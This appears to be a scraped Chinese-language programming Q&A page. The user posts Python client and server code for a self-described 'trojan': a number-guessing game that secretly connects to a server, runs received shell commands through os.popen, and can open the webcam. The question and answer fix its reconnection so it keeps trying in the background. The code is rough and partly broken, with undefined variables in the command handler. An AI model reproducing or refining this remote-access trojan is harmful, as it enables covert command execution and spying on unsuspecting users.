python - Python 套接字无法建立连接
问题描述
为了运行我的代码,我需要在 client.py 之前运行 server.py 才能连接。我想让它在两个方向上都起作用,这样先发生什么都没关系。我设置了一个try
和except
块,但我仍然得到一个ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
错误。
这是我的client.py:
import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2
def commands():
cmd_mode = False
# Commands for the trojan
if command == 'cmdon':
cmd_mode = True
client.send(
'You now have terminal access!'.encode('utf-8'))
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
else:
if command == 'webcam':
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read()
cv2.imshow('WebCam (Press enter to exit)', frame)
if cv2.waitKey(1) & 0xFF == ord(' '):
break
cap.release()
cv2.destroyAllWindows()
client.send(
f'{command} was exectued successfully!'.encode('utf-8'))
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
commands()
except Exception:
client.connect((HOST, PORT))
commands()
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
这是我的 server.py
import socket
from os import system, name
def clear():
if name == 'nt':
_ = system('cls')
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
server.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
我的代码有什么问题?为什么except
块不处理错误并尝试重新连接?
解决方案
发现有什么问题我只需要改变
except Exception:
client.connect((HOST, PORT))
commands()
至
except Exception:
pass
推荐阅读
- c# - 从所有套接字接收消息而不循环通过所有套接字
- cpanel - 使用 cpanel 进行自我虚拟主机 - 我需要满足哪些详细的软件和硬件要求?
- swift - 如何显示复杂 Observable 的进度?
- http - 使用 DialogFlow 从本地设备发出 http 请求
- java - 用“,”分割时从字符串中删除空格
- typescript - Typescript 装饰器 - 将方法装饰器链接到类装饰器
- sql-server - 从其他计算机安装 SQL Server ODBC 驱动程序失败
- python - 在列表中查找具有相同第一项的元组并返回另一个列表
- c - 将两个字符添加到一个简短的结果中会导致错误的答案
- docker - Filebeat 无法将日志发送到 logstash 并出现日志/收集器错误